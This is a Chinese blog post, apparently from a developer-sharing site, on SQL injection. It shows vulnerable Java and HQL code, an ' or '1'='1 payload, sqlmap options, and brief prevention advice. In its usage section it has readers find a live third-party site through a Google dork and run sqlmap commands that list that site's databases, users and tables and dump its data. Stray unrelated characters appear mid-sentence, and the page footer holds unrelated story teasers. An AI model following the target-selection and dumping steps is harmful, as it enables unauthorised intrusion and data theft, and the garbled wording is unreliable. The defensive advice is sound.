sql注入的流程介紹

我們在開發(fā)過程中不僅要保證業(yè)務功能的完整性,更要保障安全性.
在剛從事工作時,我并沒有關注一些安全性相關的知識,工作一年之后很多業(yè)務技術都有所掌握,之后就參與到了測試組的工作中去.從那個時候我才知道,白盒,黑盒,單元測試,壓力測試,等等一些知識.起初就是覺得好玩,并沒有立志要成為一個白帽子,所以一路走來,小打小鬧.

背景

出現(xiàn)的安全問題就不說那么多了,作為開發(fā)人員應該都清楚,后果是非常嚴重的.OWASP TOP10中把SQL注入排在了第一位.

原理

比如下面的代碼

String query = "SELECT * FROM accounts WHERE  custID='" + request.getParameter("id") + "'";

使用hql的代碼

Query HQLQuery = session.createQuery(“FROM accounts WHERE custID='“ + request.getParameter("id") + "'");

這樣的代碼有問題么?

如果這樣傳遞參數(shù)呢?http://example.com/app/accountView?id=' or '1'='1

這就是簡單的注入實例

工具

原理知道了,通過拼接sql語句,導致 語句不會按照自己的預期執(zhí)行.我們通過使用sqlmap來完成sql注入的檢測.
sqlmap: 注入檢測
burpsuite: 請求代理
GHDB:谷歌黑客數(shù)據(jù)庫(通過谷歌檢索查詢漏洞)
webshell: 入侵成功后可以上傳腳本
中國菜刀:通過shell連接服務器,不過這個版本比較老,但是還挺好用

tips: 我們想要發(fā)現(xiàn)是否存在注入漏洞,所以對于滲透,上傳webshell等不過多關注.

sqlmap 工具的使用

安裝

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

概述

我們通過help命令對sqlmap有一些了解.

  • Target: 目標
    1. -u : 指定目標url 比如 http://www.site.com/vuln.php?id=1
    2. -g: 利用谷歌搜索語法,比如 inurl:newsid=
  • Request: 請求參數(shù)
    1. --date=DATA: Post提交參數(shù)
    2. --cookie=COOKIE
    3. --random-agent: 隨機代理請求頭User-Agent
    4. --proxy :使用代理連接
  • Injection: 注入配置
    1. --dbms: 指定后臺數(shù)據(jù)庫
  • Detection: 偵察
    1. --level=LEVEL: 偵察等級 1-5(默認1)
    2. --risk=RISK: 風險等級1-3(默認1)
  • Enumeration:檢索
  1. -a: 查詢所有
  2. -b: DBMS banner
  3. --current-user: 查詢用戶當前等級
  4. --current-db: 查詢用戶當前數(shù)據(jù)庫
  5. --passwords: 查詢用戶密碼
  6. --tables: 查詢表
  7. --columns :查詢列
    8.--schema: 查詢schema
    9.--dump: 獲取數(shù)據(jù)
  8. --dump-all:
  9. -D DB :檢索指定數(shù)據(jù)庫
  10. -T TBL: 檢索指定表
    13.-C COL:檢索指定列
    tips: 其他涉及到shell等注入的就不介紹了,我們主要的任務是如何檢測一個sql是否存在注入

使用方法

  • 我們通過谷歌黑客數(shù)據(jù)庫查找目標
  • 選擇Google Dork Description:inurl:"sitegenius/topic.php"
  • Google搜索后選擇一個目標
  • 查詢當前數(shù)據(jù)庫
./sqlmap.py -u “注入地址” -v 1 –dbs   // 列舉數(shù)據(jù)庫
./sqlmap.py -u “注入地址” -v 1 –current-db   // 當前數(shù)據(jù)庫
./sqlmap.py -u “注入地址” -v 1 –users    // 列數(shù)據(jù)庫用戶
./sqlmap.py -u “注入地址” -v 1 –current-user  // 當前用戶
./sqlmap.py -u “注入地址” -v 1 –tables -D “數(shù)據(jù)庫”   // 列舉數(shù)據(jù)庫的表名
./sqlmap.py -u “注入地址” -v 1 –columns -T “表名” -D “數(shù)據(jù)庫”   // 獲取表的列名
./sqlmap.py -u “注入地址” -v 1 –dump -C “字段,字段” -T “表名” -D “數(shù)據(jù)庫”   // 獲取表中的數(shù)據(jù)碧查,包含列

注入預防

  • java中查詢語句時候不要使用sql拼接,可以使用PreparedStatement
  • hibernate中不要拼接hql,盡量使用占位符
  • mybatis中盡量使用#{},避免使用${}的參數(shù)方式.
  • 請求過濾器: 如果獲取到非法連接則拒絕.
sqlmap統(tǒng)計了注入的技術
1. 基于布爾的注入
2.基于錯誤的注入
3.內(nèi)聯(lián)注入
4.堆棧查詢注入
5.至于時間注入
6.union查詢注入
涉及到的關鍵字有:
boolean注入: (' ,<',">, AND ,%',(SELECT,--, OR ,)*,
union注入: ORDER,UNION,MAKE_SET,ELT
time注入:SLEEP,PG_SLEEP,DELAY,WAITFOR
inline注入:..)',
空格處理關鍵字:/**/,BETWEEN,/**_**/,'%09', '%0A', '%0C', '%0D', '%0B',--%0A,%S%E%L%E%C%T
大致通過這些就可以判斷户誓,
  • 請求頭過濾: sqlmap 默認的請求agent:sqlmap/1.1.3.2#dev (http://sqlmap.org) 此外乎折,對于一些常用的代理工具都可以進行一些拒絕處理,比如charles,burpsuite,fiddler 等等
最后編輯于
?著作權歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末靶累,一起剝皮案震驚了整個濱河市腺毫,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌挣柬,老刑警劉巖潮酒,帶你破解...
    沈念sama閱讀 212,718評論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異邪蛔,居然都是意外死亡急黎,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,683評論 3 385
  • 文/潘曉璐 我一進店門侧到,熙熙樓的掌柜王于貴愁眉苦臉地迎上來叁熔,“玉大人,你說我怎么就攤上這事床牧∪倩兀” “怎么了?”我有些...
    開封第一講書人閱讀 158,207評論 0 348
  • 文/不壞的土叔 我叫張陵戈咳,是天一觀的道長心软。 經(jīng)常有香客問我,道長著蛙,這世上最難降的妖魔是什么删铃? 我笑而不...
    開封第一講書人閱讀 56,755評論 1 284
  • 正文 為了忘掉前任,我火速辦了婚禮踏堡,結(jié)果婚禮上猎唁,老公的妹妹穿的比我還像新娘。我一直安慰自己顷蟆,他們只是感情好诫隅,可當我...
    茶點故事閱讀 65,862評論 6 386
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著帐偎,像睡著了一般逐纬。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上削樊,一...
    開封第一講書人閱讀 50,050評論 1 291
  • 那天豁生,我揣著相機與錄音兔毒,去河邊找鬼。 笑死甸箱,一個胖子當著我的面吹牛育叁,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播芍殖,決...
    沈念sama閱讀 39,136評論 3 410
  • 文/蒼蘭香墨 我猛地睜開眼豪嗽,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了围小?” 一聲冷哼從身側(cè)響起昵骤,我...
    開封第一講書人閱讀 37,882評論 0 268
  • 序言:老撾萬榮一對情侶失蹤树碱,失蹤者是張志新(化名)和其女友劉穎肯适,沒想到半個月后,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體成榜,經(jīng)...
    沈念sama閱讀 44,330評論 1 303
  • 正文 獨居荒郊野嶺守林人離奇死亡框舔,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,651評論 2 327
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了赎婚。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片刘绣。...
    茶點故事閱讀 38,789評論 1 341
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖挣输,靈堂內(nèi)的尸體忽然破棺而出纬凤,到底是詐尸還是另有隱情,我是刑警寧澤撩嚼,帶...
    沈念sama閱讀 34,477評論 4 333
  • 正文 年R本政府宣布停士,位于F島的核電站,受9級特大地震影響完丽,放射性物質(zhì)發(fā)生泄漏恋技。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 40,135評論 3 317
  • 文/蒙蒙 一逻族、第九天 我趴在偏房一處隱蔽的房頂上張望蜻底。 院中可真熱鬧,春花似錦聘鳞、人聲如沸薄辅。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,864評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽长搀。三九已至,卻和暖如春鸡典,著一層夾襖步出監(jiān)牢的瞬間源请,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,099評論 1 267
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留谁尸,地道東北人舅踪。 一個月前我還...
    沈念sama閱讀 46,598評論 2 362
  • 正文 我出身青樓,卻偏偏與公主長得像良蛮,于是被迫代替她去往敵國和親抽碌。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 43,697評論 2 351

推薦閱讀更多精彩內(nèi)容

  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 當給sq...
    xuningbo閱讀 10,282評論 2 22
  • sqlmap用戶手冊 說明:本文為轉(zhuǎn)載决瞳,對原文中一些明顯的拼寫錯誤進行修正货徙,并標注對自己有用的信息。 ======...
    wind_飄閱讀 2,039評論 0 5
  • sqlmap也是滲透中常用的一個注入工具皮胡,其實在注入工具方面痴颊,一個sqlmap就足夠用了,只要你用的熟屡贺,秒殺各種工...
    linkally閱讀 6,871評論 1 40
  • sqlmap也是滲透中常用的一個注入工具蠢棱,其實在注入工具方面,一個sqlmap就足夠用了甩栈,只要你用的熟泻仙,秒殺各種工...
    查無此人asdasd閱讀 1,542評論 0 1
  • SQLMAP作用 判斷可注入的參數(shù) 判斷可以用哪種SQL注入技術來注入 識別出哪種數(shù)據(jù)庫 根據(jù)用戶選擇,讀取哪些數(shù)...
    陸灑脫閱讀 3,718評論 1 4